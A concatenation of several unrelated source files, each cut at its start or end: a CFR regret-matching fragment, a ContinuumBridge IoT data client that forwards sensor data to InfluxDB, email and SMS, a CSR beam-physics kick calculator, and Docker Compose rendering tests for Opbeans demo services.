matched_regrets = np.array([0.] * self._num_actions)
if cumulative_regret > 0.:
for action in legal_actions:
matched_regrets[action] = advantages[action] / cumulative_regret
else:
matched_regrets[max(legal_actions, key=lambda a: advantages_full[a])] = 1
return advantages, matched_regrets
def action_probabilities(self, state):
"""Returns action probabilities dict for a single batch."""
cur_player = state.current_player()
legal_actions = state.legal_actions(cur_player)
info_state_vector = np.array(state.information_state_tensor())
if len(info_state_vector.shape) == 1:
info_state_vector = np.expand_dims(info_state_vector, axis=0)
probs = self._session.run(
self._action_probs, feed_dict={self._info_state_ph: info_state_vector})
return {action: probs[0][action] for action in legal_actions}
def _learn_advantage_network(self, player):
"""Compute the loss on sampled transitions and perform a Q-network update.
If there are not enough elements in the buffer, no loss is computed and
`None` is returned instead.
Args:
player: (int) player | |
<reponame>ContinuumBridge/data_client
#!/usr/bin/env python
# data_client.py
# Copyright (C) ContinuumBridge Limited, 2017 - All Rights Reserved
# Unauthorized copying of this file, via any medium is strictly prohibited
# Proprietary and confidential
# Written by <NAME> & <NAME>
#
"""
Just stick actions from incoming requests into threads.
"""
import json
import requests
import time
import sys
import os.path
import signal
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.MIMEImage import MIMEImage
from subprocess import check_output
import logging
import logging.handlers
import twilio
import twilio.rest
from autobahn.twisted.websocket import WebSocketClientFactory, WebSocketClientProtocol, connectWS
from twisted.internet import threads
from twisted.internet import reactor, defer
from twisted.internet.protocol import ReconnectingClientFactory
from influxdb import InfluxDBClient
config = {}
#HOME = os.path.expanduser("~")
HOME = os.getcwd()
CB_ADDRESS = "portal.continuumbridge.com"
DBURL = "http://onepointtwentyone-horsebrokedown-1.c.influxdb.com:8086/"
CB_LOGGING_LEVEL = "DEBUG"
CB_LOGFILE = HOME + "/data_client.log"
CONFIG_FILE = HOME + "/data_client.config"
CONFIG_READ_INTERVAL = 10.0
CB_LOGGING_LEVEL = "DEBUG"
logger = logging.getLogger('Logger')
logger.setLevel(CB_LOGGING_LEVEL)
handler = logging.handlers.RotatingFileHandler(CB_LOGFILE, maxBytes=10000000, backupCount=3)
formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s')
handler.setFormatter(formatter)
logger.addHandler(handler)
try:
s = check_output(["git", "status"])
if "master" in s:
CONFIG_FILE = HOME + "/data_client.config"
else:
CONFIG_FILE = HOME + "/staging.config"
logger.info("Using config: {}".format(CONFIG_FILE))
print("Using config: {}".format(CONFIG_FILE))
except Exception as e:
logger.error("Problem setting config file: {}, {}".format(type(e), e.args))
print("Problem setting config file: {}, {}".format(type(e), e.args))
sys.exit()
reactor.suggestThreadPoolSize(30)
def nicetime(timeStamp):
localtime = time.localtime(timeStamp)
milliseconds = '%03d' % int((timeStamp - int(timeStamp)) * 1000)
now = time.strftime('%H:%M:%S, %d-%m-%Y', localtime)
return now
print "Start time: %s", nicetime(time.time())
def sendMail(to, sender, subject, body):
try:
user = config["mail"]["user"]
password = config["mail"]["password"]
# Create message container - the correct MIME type is multipart/alternative.
msg = MIMEMultipart('alternative')
msg['Subject'] = subject
msg['From'] = sender + config["mail"]["from"]
recipients = to.split(',')
[p.strip(' ') for p in recipients]
if len(recipients) == 1:
msg['To'] = to
else:
msg['To'] = ", ".join(recipients)
# Create the body of the message (a plain-text and an HTML version).
text = body + " \n"
htmlText = text
# Record the MIME types of both parts - text/plain and text/html.
part1 = MIMEText(text, 'plain')
part2 = MIMEText(htmlText, 'html')
msg.attach(part1)
msg.attach(part2)
mail = smtplib.SMTP('smtp.gmail.com', 587)
mail.ehlo()
mail.starttls()
mail.login(user, password)
mail.sendmail(user, recipients, msg.as_string())
logger.debug("Sent mail")
mail.quit()
except Exception as ex:
logger.warning("sendMail problem. To: %s, type %s, exception: %s", to, type(ex), str(ex.args))
def postInfluxDB1(dat, bid, db):
"""
global prevDat
try:
if dat == prevDat:
logger.warning("Posting duplicate data old: %s", json.dumps(prevDat,indent=4))
logger.warning("Posting duplicate data new: %s", json.dumps(dat,indent=4))
except:
logger.warning("First time round")
prevDat = dat
"""
url = config["dburl2"]
#logger.debug("InfluxDB1, url: {}".format(url))
#logger.debug("Influx, writing to db %s", db)
#logger.debug("InfluxDB1, writing: {}\n to database %s".format(dat), db)
logger.debug("Posting to %s database: %s", db, json.dumps(dat, indent=4))
try:
client = InfluxDBClient(host=url, port=8086, database=db)
result = client.write_points(dat, time_precision="ms")
except Exception as e:
logger.warning("postInfluxApi, api problem: {} {}".format(type(e), e.args))
def postInfluxDB(dat, bid):
try:
if "database" in config["bridges"][bid]:
url = config["dburl"] + "db/" + config["bridges"][bid]["database"] + "/series?u=root&p=" + config["dbrootp"]
else:
url = config["dburl"] + "db/Bridges/series?u=root&p=" + config["dbrootp"]
headers = {'Content-Type': 'application/json'}
status = 0
logger.debug("url: %s", url)
"""
r = requests.post(url, data=json.dumps(dat), headers=headers)
status = r.status_code
if status !=200:
logger.warning("POSTing failed, status: %s", status)
"""
except Exception as ex:
logger.warning("postInfluxDB problem, type %s, exception: %s", type(ex), str(ex.args))
def doPumpco(body, bid):
logger.debug("doPumpco")
try:
dat = {
"continuum_bridge": {
"body": body
}
}
logger.debug("Sending data: " + json.dumps(dat, indent=4))
url = config["service_providers"]["pumpco"]["url"] + bid + "/measurement.json"
logger.debug("Sending to url: %s", url)
headers = {'Content-Type': 'application/json'}
status = 0
logger.debug("url: %s", url)
r = requests.post(url, data=json.dumps(dat), headers=headers)
status = r.status_code
if status !=200:
logger.warning("POSTing failed, status: %s", status)
except Exception as ex:
logger.warning("postInfluxDB problem, type %s, exception: %s", to, type(ex), str(ex.args))
def sendSMS(messageBody, to):
numbers = to.split(",")
for n in numbers:
try:
client = twilio.rest.TwilioRestClient(config["twilio_account_sid"], config["twilio_auth_token"])
message = client.messages.create(
body = messageBody,
to = n,
from_ = config["twilio_phone_number"]
)
sid = message.sid
logger.debug("Sent sms: %s", str(n))
except Exception as ex:
logger.warning("sendSMS, unable to send message %s to: %s, type %s, exception: %s", messageBody, str(to), type(ex), str(ex.args))
def authorise():
if True:
#try:
auth_url = "http://" + CB_ADDRESS + "/api/client/v1/client_auth/login/"
auth_data = '{"key": "' + config["cid_key"] + '"}'
auth_headers = {'content-type': 'application/json'}
response = requests.post(auth_url, data=auth_data, headers=auth_headers)
cbid = json.loads(response.text)['cbid']
if response.status_code != requests.codes.ok:
logger.info("Got bad server response: %s", response)
exit()
else:
logger.info("Got good server response: %s ", str(response))
cbid = json.loads(response.text)['cbid']
logger.info("Got cbid= "+ json.dumps(cbid, indent=4))
sessionID = response.cookies['sessionid']
ws_url = "ws://" + CB_ADDRESS + ":7522/"
return cbid, sessionID, ws_url
#except Exception as ex:
# logger.warning("Unable to authorise with server, type: %s, exception: %s", str(type(ex)), str(ex.args))
def readConfig(forceRead=False):
#logger.debug("readConfig")
try:
global config
oldconfig = config
if time.time() - os.path.getmtime(CONFIG_FILE) < 600 or forceRead:
with open(CONFIG_FILE, 'r') as f:
newConfig = json.load(f)
config.update(newConfig)
for c in config:
if c.lower in ("true", "t", "1"):
config[c] = True
elif c.lower in ("false", "f", "0"):
config[c] = False
#logger.info("Read new config: " + json.dumps(config, indent=4))
if config != oldconfig:
logger.info("Config changed")
return True
else:
return False
except Exception as ex:
logger.warning("Problem reading config file, type: %s, exception: %s", str(type(ex)), str(ex.args))
return False
def readConfigLoop():
readConfig(True)
reactor.callLater(CONFIG_READ_INTERVAL, readConfigLoop)
class ClientWSFactory(ReconnectingClientFactory, WebSocketClientFactory):
maxDelay = 60
maxRetries = 200
def startedConnecting(self, connector):
logger.debug('Started to connect.')
ReconnectingClientFactory.resetDelay
def clientConnectionLost(self, connector, reason):
logger.debug('Lost connection. Reason: %s', reason)
ReconnectingClientFactory.clientConnectionLost(self, connector, reason)
def clientConnectionFailed(self, connector, reason):
logger.debug('Lost reason. Reason: %s', reason)
ReconnectingClientFactory.clientConnectionFailed(self, connector, reason)
class ClientWSProtocol(WebSocketClientProtocol):
def __init__(self):
logger.debug("Connection __init__")
signal.signal(signal.SIGINT, self.signalHandler) # For catching SIGINT
signal.signal(signal.SIGTERM, self.signalHandler) # For catching SIGTERM
self.stopping = False
def signalHandler(self, signal, frame):
logger.debug("signalHandler received signal")
self.stopping = True
reactor.stop()
def sendToBridge(self, message):
self.sendMessage(json.dumps(message))
def onConnect(self, response):
logger.debug("Server connected: %s", str(response.peer))
def onOpen(self):
logger.debug("WebSocket connection open.")
def onClose(self, wasClean, code, reason):
logger.debug("onClose, reason:: %s", reason)
def onMessage(self, message, isBinary):
#logger.debug("onMessage")
try:
msg = json.loads(message)
logger.info("Message received: %s", json.dumps(msg, indent=4))
except Exception as ex:
logger.warning("onmessage. Unable to load json, type: %s, exception: %s", str(type(ex)), str(ex.args))
if not "source" in msg:
logger.warning("onMessage. message without source")
return
if not "body" in msg:
logger.warning("onMessage. message without body")
return
if msg["body"] == "connected":
logger.info("Connected to ContinuumBridge")
else:
bid = msg["source"].split("/")[0]
aid = msg["source"].split("/")[1]
#logger.debug("bid: %s", bid)
#logger.debug("config_bridges: %s", str(config["bridges"]))
if bid not in config["bridges"]:
logger.info("Message from unregistered bridge: %s", bid)
return
found = False
for body in msg["body"]:
rx_n = 0
if "n" in body:
found = True
if rx_n <= body["n"]:
rx_n = body["n"]
del body["n"]
self.processBody(msg["source"], body, bid, aid)
if found:
ack = {
"source": config["cid"],
"destination": msg["source"],
"body": [
{"a": rx_n}
]
}
#logger.debug("onMessage ack: %s", str(json.dumps(ack, indent=4)))
reactor.callInThread(self.sendToBridge, ack)
def processBody(self, destination, body, bid, aid):
logger.debug("body: %s", str(body))
if body["m"] == "alert":
try:
bridge = config["bridges"][bid]["friendly_name"]
if "a" in body:
emailBody = "Message from " + bridge + ": " + body["a"]
subject = body["a"]
if "email" in config["bridges"][bid]:
reactor.callInThread(sendMail, config["bridges"][bid]["email"], bridge, subject, emailBody)
if "sms" in config["bridges"][bid]:
reactor.callInThread(sendSMS, emailBody, config["bridges"][bid]["sms"])
except Exception as ex:
logger.warning("Problem processing alert message, exception: %s %s", str(type(ex)), str(ex.args))
elif body["m"] == "data":
do = {}
do['fields'] = {}
do['tags'] = {}
logger.info("Data messsage received")
if "service_provider" in config["bridges"][bid]:
if config["bridges"][bid]["service_provider"] == "pumpco":
doPumpco(body, bid)
else:
try:
#if True:
dat = body["d"]
if len(dat)>2:
logger.debug("Long d: %s", str(json.dumps(dat, indent=4)))
for d in dat:
logger.debug("New d: %s", str(json.dumps(d, indent=4)))
s = d["name"].split("/")
tdiff = time.time() - d["points"][0][0]/1000
if abs(tdiff) > 300:
logger.warning("Bridge %s and client time are different by %s seconds", bid, str(tdiff))
logger.warning(" Bridge timestamp in %s: %s", d["name"], nicetime(d["points"][0][0]/1000))
do["time"] = d["points"][0][0]
if len(s) == 3:
do["tags"]["characteristic"] = s[2]
if s[2] == "power" or s[2] == "temperature":
do["fields"]["fvalue"] = float(d["points"][0][1])
do["fields"]["value"] = ""
logger.debug("Casting %s to %s", d["points"][0][1], do["fields"]["fvalue"])
else:
do["fields"]["value"] = d["points"][0][1]
do["fields"]["fvalue"] = ""
else:
do["tags"]["characteristic"] = "event"
do["fields"]["value"] = d["points"][0][1]
do["measurement"] = s[0]
do["tags"]["sensor"] = s[1]
#if "friendly_name" in config["bridges"][bid]:
# do["tags"]["friendly_name"] = config["bridges"][bid]["friendly_name"]
if "name_in_database" in config["bridges"][bid]:
do["tags"]["name_in_database"] = config["bridges"][bid]["name_in_database"]
dd = [do]
#N.B. it'll fail if the db doesn't exist - should create it here really
if "database" in config["bridges"][bid]:
db = config["bridges"][bid]["database"]
else:
db = "Bridges"
reactor.callInThread(postInfluxDB1, dd, bid, db)
except Exception as ex:
logger.warning("Problem processing data message, exception: %s %s", str(type(ex)), str(ex.args))
elif body["m"] == "req_config":
if "config" in config["bridges"][bid]:
if aid in config["bridges"][bid]["config"]:
app_config = config["bridges"][bid]["config"][aid]
else:
app_config = {"warning": "no config"}
ack = {
"source": config["cid"],
"destination": destination,
"body": [
{"config": app_config}
]
}
logger.debug("onMessage ack: %s", str(json.dumps(ack, indent=4)))
reactor.callInThread(self.sendToBridge, ack)
else:
logger.info("onMessage. No | |
<filename>csr2d/kick3.py
from csr2d.wake import green_mesh, boundary_convolve
from csr2d.deposit import histogram_cic_2d
#from csr2d.central_difference import central_difference_z
from csr2d.convolution import fftconvolve2
from csr2d.simple_track import track_a_bend, track_a_drift, track_a_bend_parallel, track_a_drift_parallel
from csr2d.beam_conversion import particle_group_to_bmad, bmad_to_particle_group
import numpy as np
import time
from scipy.signal import savgol_filter
from scipy.interpolate import RectBivariateSpline
from scipy.ndimage import map_coordinates
from numba import njit, vectorize, float64
import scipy.constants
mec2 = scipy.constants.value("electron mass energy equivalent in MeV") * 1e6
c_light = scipy.constants.c
e_charge = scipy.constants.e
r_e = scipy.constants.value("classical electron radius")
def csr2d_kick_calc_transient(
z_b,
x_b,
weight,
*,
gamma=None,
rho=None,
phi=None,
steady_state=False,
nz=100,
nx=100,
xlim=None,
zlim=None,
species="electron",
imethod='map_coordinates',
debug=False,
):
"""
Calculates the 2D CSR kick on a set of particles with positions `z_b`, `x_b` and charges `charges`.
Parameters
----------
z_b : np.array
Bunch z coordinates in [m]
x_b : np.array
Bunch x coordinates in [m]
weight : np.array
weight array (positive only) in [C]
This should sum to the total charge in the bunch
gamma : float
Relativistic gamma
rho : float
bending radius in [m]
phi : float
entrance angle in radian
nz : int
number of z grid points
nx : int
number of x grid points
steady_state : boolean
If True, the transient terms in case A and B are ignored
zlim : floats (min, max) or None
z grid limits in [m]
xlim : floats (min, max) or None
x grid limits in [m]
species : str
Particle species. Currently required to be 'electron'
imethod : str
Interpolation method for kicks. Must be one of:
'map_coordinates' (default): uses scipy.ndimage.map_coordinates
'spline': uses: scipy.interpolate.RectBivariateSpline
debug: bool
If True, returns the computational grids.
Default: False
Returns
-------
dict with:
ddelta_ds : np.array
relative z momentum kick [1/m]
dxp_ds : np.array
relative x momentum kick [1/m]
"""
assert species == "electron", "TODO: support species {species}"
# assert np.sign(rho) == 1, 'TODO: negative rho'
# Grid setup
if zlim:
zmin = zlim[0]
zmax = zlim[1]
else:
zmin = z_b.min()
zmax = z_b.max()
if xlim:
xmin = xlim[0]
xmax = xlim[1]
else:
xmin = x_b.min()
xmax = x_b.max()
dz = (zmax - zmin) / (nz - 1)
dx = (xmax - xmin) / (nx - 1)
# Charge deposition
t1 = time.time()
charge_grid = histogram_cic_2d(z_b, x_b, weight, nz, zmin, zmax, nx, xmin, xmax)
if debug:
t2 = time.time()
print("Depositing particles takes:", t2 - t1, "s")
# Normalize the grid so its integral is unity
norm = np.sum(charge_grid) * dz * dx
lambda_grid = charge_grid / norm
# Apply savgol filter to the distribution grid
lambda_grid_filtered = np.array([savgol_filter(lambda_grid[:, i], 13, 2) for i in np.arange(nx)]).T
# Differentiation in z
#lambda_grid_filtered_prime = central_difference_z(lambda_grid_filtered, nz, nx, dz, order=1)
# Distribution grid axis vectors
zvec = np.linspace(zmin, zmax, nz)
xvec = np.linspace(xmin, xmax, nx)
Z, X = np.meshgrid(zvec, xvec, indexing='ij')
beta = np.sqrt(1 - 1/gamma**2)
t3 = time.time()
Es_case_B_grid_IGF = green_mesh((nz, nx), (dz, dx), rho=rho, gamma=gamma, component= 'Es_case_B_IGF')
Fx_case_B_grid_IGF = green_mesh((nz, nx), (dz, dx), rho=rho, gamma=gamma, component= 'Fx_case_B_IGF')
if debug:
t4 = time.time()
print("Computing case B field grids takes:", t4 - t3, "s")
if steady_state==True:
### Compute the wake via 2d convolution (no boundary condition)
#conv_s, conv_x = fftconvolve2(lambda_grid_filtered_prime, psi_s_grid, psi_x_grid)
conv_s, conv_x = fftconvolve2(lambda_grid_filtered, Es_case_B_grid_IGF, Fx_case_B_grid_IGF)
Ws_grid = (beta ** 2 / abs(rho)) * (conv_s) * (dz * dx)
Wx_grid = (beta ** 2 / abs(rho)) * (conv_x) * (dz * dx)
else:
Es_case_A_grid = green_mesh((nz, nx), (dz, dx), rho=rho, gamma=gamma, component= 'Es_case_A', phi = phi, debug=False)
Fx_case_A_grid = green_mesh((nz, nx), (dz, dx), rho=rho, gamma=gamma, component= 'Fx_case_A', phi = phi, debug=False)
if debug:
print("Case A field grids computed!")
@vectorize([float64(float64, float64)], target='parallel')
def boundary_convolve_Ws_A_super(z_observe, x_observe):
return boundary_convolve(1, z_observe, x_observe, zvec, xvec, dz, dx, lambda_grid_filtered, Es_case_A_grid, gamma=gamma, rho=rho, phi=phi)
@vectorize([float64(float64, float64)], target='parallel')
def boundary_convolve_Ws_B_super(z_observe, x_observe):
return boundary_convolve(2, z_observe, x_observe, zvec, xvec, dz, dx, lambda_grid_filtered, Es_case_B_grid_IGF, gamma=gamma, rho=rho, phi=phi)
@vectorize([float64(float64, float64)], target='parallel')
def boundary_convolve_Wx_A_super(z_observe, x_observe):
return boundary_convolve(1, z_observe, x_observe, zvec, xvec, dz, dx, lambda_grid_filtered, Fx_case_A_grid, gamma=gamma, rho=rho, phi=phi)
@vectorize([float64(float64, float64)], target='parallel')
def boundary_convolve_Wx_B_super(z_observe, x_observe):
return boundary_convolve(2, z_observe, x_observe, zvec, xvec, dz, dx, lambda_grid_filtered, Fx_case_B_grid_IGF, gamma=gamma, rho=rho, phi=phi)
if debug:
print("mappable functions for field grids defined")
# use Numba vectorization
factor_case_A = (1/gamma**2/rho**2)* (dz*dx)
Ws_grid_case_A = boundary_convolve_Ws_A_super(Z, X) * factor_case_A
Wx_grid_case_A = boundary_convolve_Wx_A_super(Z, X) * factor_case_A
factor_case_B = (beta**2 / rho**2)* (dz*dx)
Ws_grid_case_B = boundary_convolve_Ws_B_super(Z, X) * factor_case_B
Wx_grid_case_B = boundary_convolve_Wx_B_super(Z, X) * factor_case_B
Ws_grid = Ws_grid_case_B + Ws_grid_case_A
Wx_grid = Wx_grid_case_B + Wx_grid_case_A
if debug:
t5 = time.time()
print("Convolution takes:", t5 - t4, "s")
# Calculate the kicks at the particle locations
# Overall factor
Nb = np.sum(weight) / e_charge
kick_factor = r_e * Nb / gamma # in m
# Interpolate Ws and Wx everywhere within the grid
if imethod == 'spline':
# RectBivariateSpline method
Ws_interp = RectBivariateSpline(zvec, xvec, Ws_grid)
Wx_interp = RectBivariateSpline(zvec, xvec, Wx_grid)
delta_kick = kick_factor * Ws_interp.ev(z_b, x_b)
xp_kick = kick_factor * Wx_interp.ev(z_b, x_b)
elif imethod == 'map_coordinates':
# map_coordinates method. Should match above fairly well. order=1 is even faster.
zcoord = (z_b-zmin)/dz
xcoord = (x_b-xmin)/dx
delta_kick = kick_factor * map_coordinates(Ws_grid, np.array([zcoord, xcoord]), order=2)
xp_kick = kick_factor * map_coordinates(Wx_grid, np.array([zcoord, xcoord]), order=2)
else:
raise ValueError(f'Unknown interpolation method: {imethod}')
if debug:
t6 = time.time()
print(f'Interpolation with {imethod} takes:', t6 - t5, "s")
#result = {"ddelta_ds": delta_kick}
result = {"ddelta_ds": delta_kick, "dxp_ds": xp_kick}
result.update({"zvec": zvec,
"xvec": xvec,
"Ws_grid": Ws_grid,
"Wx_grid": Wx_grid})
if debug:
timing = np.array([t2-t1, t4-t3, t5-t4, t6-t5])
result.update(
{ "charge_grid": charge_grid,
"lambda_grid_filtered": lambda_grid_filtered,
"timing": timing
})
if steady_state == False:
result.update(
{ "Ws_grid_case_A": Ws_grid_case_A,
"Ws_grid_case_B": Ws_grid_case_B,
"Wx_grid_case_A": Wx_grid_case_A,
"Wx_grid_case_B": Wx_grid_case_B,
"Es_case_A_grid": Es_case_A_grid,
"Es_case_B_grid_IGF": Es_case_B_grid_IGF,
"charge_grid": charge_grid,
})
return result
def track_bend_with_2d_csr_transient(Pin, p0c=None, gamma=None, L=0, g=0, g_err=0, N_step=20, s0=0, nz=200, nx=200, zlim=None, xlim=None,
CSR_on=True, steady_state=False, CSR_1D_only=False, energy_kick_on=True, xp_kick_on=True, bend_name='the bend',
debug=True, keep_Pin=True, save_all_P_h5=None, save_all_P=False, save_all_wake=False, bend_track_parallel=True):
"""
Calculates the 2D CSR kick on a set of particles with positions `z_b`, `x_b` and charges `charges`.
Tracks a bunch thorugh a bending magnet
Parameters
----------
z_b : np.array
Bunch z coordinates in [m]
p0c : float
reference momentum in [eV]
gamma : float
Relativistic gamma
L : float
total length of magnet
g : float
bending curvature in [1/m] = 1/rho
g_err : float
error in bending curvature in [1/m] (see Bmad )
s0 : float
bending curvature in [1/m] = 1/rho
N_step : int
number of tracking steps
nz : int
number of z grid points
nx : int
number of x grid points
steady_state : boolean
If True, 2D steady-state wake is applied, and no transient wake is calculated
Default: True
zlim : floats (min, max) or None
z grid limits in [m]
xlim : floats (min, max) or None
x grid limits in [m]
debug : boolean
If True, returns the computational grids.
Default : False
save_all_P_h5 : h5py file signature
If given, returns the bunch at every step in a h5 file
Example: h5 = h5py.File('test.h5','w') ... h5.close()
save_all_P : boolean
If True: returns the bunch at every step
Default : False
save_all_wake : boolean
If True: returns the wake grids and the defining coordinate vectors at every step
Default : False
Returns
-------
dict with:
Pout : ParticleGroup at the end of tracking
Wslist : A list of Ws wake grids at every tracking step
Wxlist : A list of Wx wake grids at every tracking step
zvec_list : A list of zvec defining the wake grids at every tracking step
xvec_list : A list of xvec defining the wake grids at every tracking step
s_list : a list of s-position of the bunch center at every tracking step
"""
P_list = [] # To save the beam at each step
s_list = [] # To save | |
from __future__ import print_function
import io
import sys
import unittest
import collections
import yaml
from ..modules import cli
from ..modules import helpers
from ..modules import service
from ..modules.aux_services import Postgres, Redis
from ..modules.elastic_stack import ApmServer, Elasticsearch
from ..modules.helpers import parse_version
from ..modules.opbeans import (
OpbeansService, OpbeansDotnet, OpbeansGo, OpbeansJava, OpbeansNode, OpbeansPython,
OpbeansRuby, OpbeansRum, OpbeansLoadGenerator
)
from ..modules.cli import discover_services, LocalSetup
from .service_tests import ServiceTest
try:
import unittest.mock as mock
except ImportError:
try:
import mock
except ImportError:
class IgnoreMock(object):
@staticmethod
def patch(_):
return lambda *args: None
mock = IgnoreMock()
if sys.version_info[0] == 3:
stringIO = io.StringIO
else:
stringIO = io.BytesIO
def opbeans_services():
return (cls for cls in discover_services() if issubclass(cls, OpbeansService))
class OpbeansServiceTest(ServiceTest):
def test_opbeans_dotnet(self):
opbeans_go = OpbeansDotnet(version="6.3.10").render()
self.assertEqual(
opbeans_go, yaml.load("""
opbeans-dotnet:
build:
dockerfile: Dockerfile
context: docker/opbeans/dotnet
args:
- DOTNET_AGENT_BRANCH=master
- DOTNET_AGENT_REPO=elastic/apm-agent-dotnet
- DOTNET_AGENT_VERSION=
- OPBEANS_DOTNET_BRANCH=master
- OPBEANS_DOTNET_REPO=elastic/opbeans-dotnet
container_name: localtesting_6.3.10_opbeans-dotnet
ports:
- "127.0.0.1:3004:3000"
environment:
- ELASTIC_APM_SERVICE_NAME=opbeans-dotnet
- ELASTIC_APM_SERVER_URLS=http://apm-server:8200
- ELASTIC_APM_JS_SERVER_URL=http://localhost:8200
- ELASTIC_APM_VERIFY_SERVER_CERT=true
- ELASTIC_APM_FLUSH_INTERVAL=5
- ELASTIC_APM_TRANSACTION_MAX_SPANS=50
- ELASTIC_APM_TRANSACTION_SAMPLE_RATE=1
- ELASTICSEARCH_URL=elasticsearch:9200
- OPBEANS_DT_PROBABILITY=0.50
- ELASTIC_APM_ENVIRONMENT=production
logging:
driver: 'json-file'
options:
max-size: '2m'
max-file: '5'
depends_on:
elasticsearch:
condition: service_healthy
apm-server:
condition: service_healthy
healthcheck:
test: ["CMD", "curl", "--write-out", "'HTTP %{http_code}'", "--fail", "--silent", "--output", "/dev/null", "http://opbeans-dotnet:3000/"]
interval: 10s
retries: 36""")
)
def test_opbeans_dotnet_version(self):
opbeans = OpbeansDotnet(opbeans_dotnet_version="1.0").render()["opbeans-dotnet"]
value = [e for e in opbeans["build"]["args"] if e.startswith("DOTNET_AGENT_VERSION")]
self.assertEqual(value, ["DOTNET_AGENT_VERSION=1.0"])
def test_opbeans_dotnet_branch(self):
opbeans = OpbeansDotnet(opbeans_dotnet_branch="1.x").render()["opbeans-dotnet"]
branch = [e for e in opbeans["build"]["args"] if e.startswith("OPBEANS_DOTNET_BRANCH")]
self.assertEqual(branch, ["OPBEANS_DOTNET_BRANCH=1.x"])
def test_opbeans_dotnet_repo(self):
opbeans = OpbeansDotnet(opbeans_dotnet_repo="foo/bar").render()["opbeans-dotnet"]
branch = [e for e in opbeans["build"]["args"] if e.startswith("OPBEANS_DOTNET_REPO")]
self.assertEqual(branch, ["OPBEANS_DOTNET_REPO=foo/bar"])
def test_opbeans_go(self):
opbeans_go = OpbeansGo(version="6.3.10").render()
self.assertEqual(
opbeans_go, yaml.load("""
opbeans-go:
build:
dockerfile: Dockerfile
context: docker/opbeans/go
args:
- GO_AGENT_BRANCH=master
- GO_AGENT_REPO=elastic/apm-agent-go
- OPBEANS_GO_BRANCH=master
- OPBEANS_GO_REPO=elastic/opbeans-go
container_name: localtesting_6.3.10_opbeans-go
ports:
- "127.0.0.1:3003:3000"
environment:
- ELASTIC_APM_SERVICE_NAME=opbeans-go
- ELASTIC_APM_SERVER_URL=http://apm-server:8200
- ELASTIC_APM_JS_SERVER_URL=http://localhost:8200
- ELASTIC_APM_VERIFY_SERVER_CERT=true
- ELASTIC_APM_FLUSH_INTERVAL=5
- ELASTIC_APM_TRANSACTION_MAX_SPANS=50
- ELASTIC_APM_TRANSACTION_SAMPLE_RATE=1
- ELASTICSEARCH_URL=elasticsearch:9200
- OPBEANS_CACHE=redis://redis:6379
- OPBEANS_PORT=3000
- PGHOST=postgres
- PGPORT=5432
- PGUSER=postgres
- PGPASSWORD=<PASSWORD>
- PGSSLMODE=disable
- OPBEANS_DT_PROBABILITY=0.50
- ELASTIC_APM_ENVIRONMENT=production
logging:
driver: 'json-file'
options:
max-size: '2m'
max-file: '5'
depends_on:
elasticsearch:
condition: service_healthy
postgres:
condition: service_healthy
redis:
condition: service_healthy
apm-server:
condition: service_healthy""") # noqa: 501
)
def test_opbeans_go_branch(self):
opbeans = OpbeansGo(opbeans_go_branch="1.x").render()["opbeans-go"]
branch = [e for e in opbeans["build"]["args"] if e.startswith("OPBEANS_GO_BRANCH")]
self.assertEqual(branch, ["OPBEANS_GO_BRANCH=1.x"])
def test_opbeans_go_repo(self):
opbeans = OpbeansGo(opbeans_go_repo="foo/bar").render()["opbeans-go"]
branch = [e for e in opbeans["build"]["args"] if e.startswith("OPBEANS_GO_REPO")]
self.assertEqual(branch, ["OPBEANS_GO_REPO=foo/bar"])
def test_opbeans_java(self):
opbeans_java = OpbeansJava(version="6.3.10").render()
self.assertEqual(
opbeans_java, yaml.load("""
opbeans-java:
build:
dockerfile: Dockerfile
context: docker/opbeans/java
args:
- JAVA_AGENT_BRANCH=
- JAVA_AGENT_REPO=elastic/apm-agent-java
- OPBEANS_JAVA_IMAGE=opbeans/opbeans-java
- OPBEANS_JAVA_VERSION=latest
container_name: localtesting_6.3.10_opbeans-java
ports:
- "127.0.0.1:3002:3000"
environment:
- ELASTIC_APM_SERVICE_NAME=opbeans-java
- ELASTIC_APM_APPLICATION_PACKAGES=co.elastic.apm.opbeans
- ELASTIC_APM_SERVER_URL=http://apm-server:8200
- ELASTIC_APM_VERIFY_SERVER_CERT=true
- ELASTIC_APM_FLUSH_INTERVAL=5
- ELASTIC_APM_TRANSACTION_MAX_SPANS=50
- ELASTIC_APM_TRANSACTION_SAMPLE_RATE=1
- ELASTIC_APM_ENABLE_LOG_CORRELATION=true
- DATABASE_URL=jdbc:postgresql://postgres/opbeans?user=postgres&password=<PASSWORD>
- DATABASE_DIALECT=POSTGRESQL
- DATABASE_DRIVER=org.postgresql.Driver
- REDIS_URL=redis://redis:6379
- ELASTICSEARCH_URL=elasticsearch:9200
- OPBEANS_SERVER_PORT=3000
- JAVA_AGENT_VERSION
- OPBEANS_DT_PROBABILITY=0.50
- ELASTIC_APM_ENVIRONMENT=production
logging:
driver: 'json-file'
options:
max-size: '2m'
max-file: '5'
depends_on:
elasticsearch:
condition: service_healthy
postgres:
condition: service_healthy
apm-server:
condition: service_healthy
healthcheck:
test: ["CMD", "curl", "--write-out", "'HTTP %{http_code}'", "--fail", "--silent", "--output", "/dev/null", "http://opbeans-java:3000/"]
interval: 10s
retries: 36""") # noqa: 501
)
def test_opbeans_java_image(self):
opbeans = OpbeansJava(opbeans_java_image="foo").render()["opbeans-java"]
branch = [e for e in opbeans["build"]["args"] if e.startswith("OPBEANS_JAVA_IMAGE")]
self.assertEqual(branch, ["OPBEANS_JAVA_IMAGE=foo"])
def test_opbeans_java_image(self):
opbeans = OpbeansJava(opbeans_java_version="bar").render()["opbeans-java"]
branch = [e for e in opbeans["build"]["args"] if e.startswith("OPBEANS_JAVA_VERSION")]
self.assertEqual(branch, ["OPBEANS_JAVA_VERSION=bar"])
def test_opbeans_node(self):
opbeans_node = OpbeansNode(version="6.2.4").render()
self.assertEqual(
opbeans_node, yaml.load("""
opbeans-node:
build:
dockerfile: Dockerfile
context: docker/opbeans/node
args:
- OPBEANS_NODE_IMAGE=opbeans/opbeans-node
- OPBEANS_NODE_VERSION=latest
container_name: localtesting_6.2.4_opbeans-node
ports:
- "127.0.0.1:3000:3000"
logging:
driver: 'json-file'
options:
max-size: '2m'
max-file: '5'
environment:
- ELASTIC_APM_SERVER_URL=http://apm-server:8200
- ELASTIC_APM_JS_SERVER_URL=http://localhost:8200
- ELASTIC_APM_VERIFY_SERVER_CERT=true
- ELASTIC_APM_LOG_LEVEL=info
- ELASTIC_APM_SOURCE_LINES_ERROR_APP_FRAMES
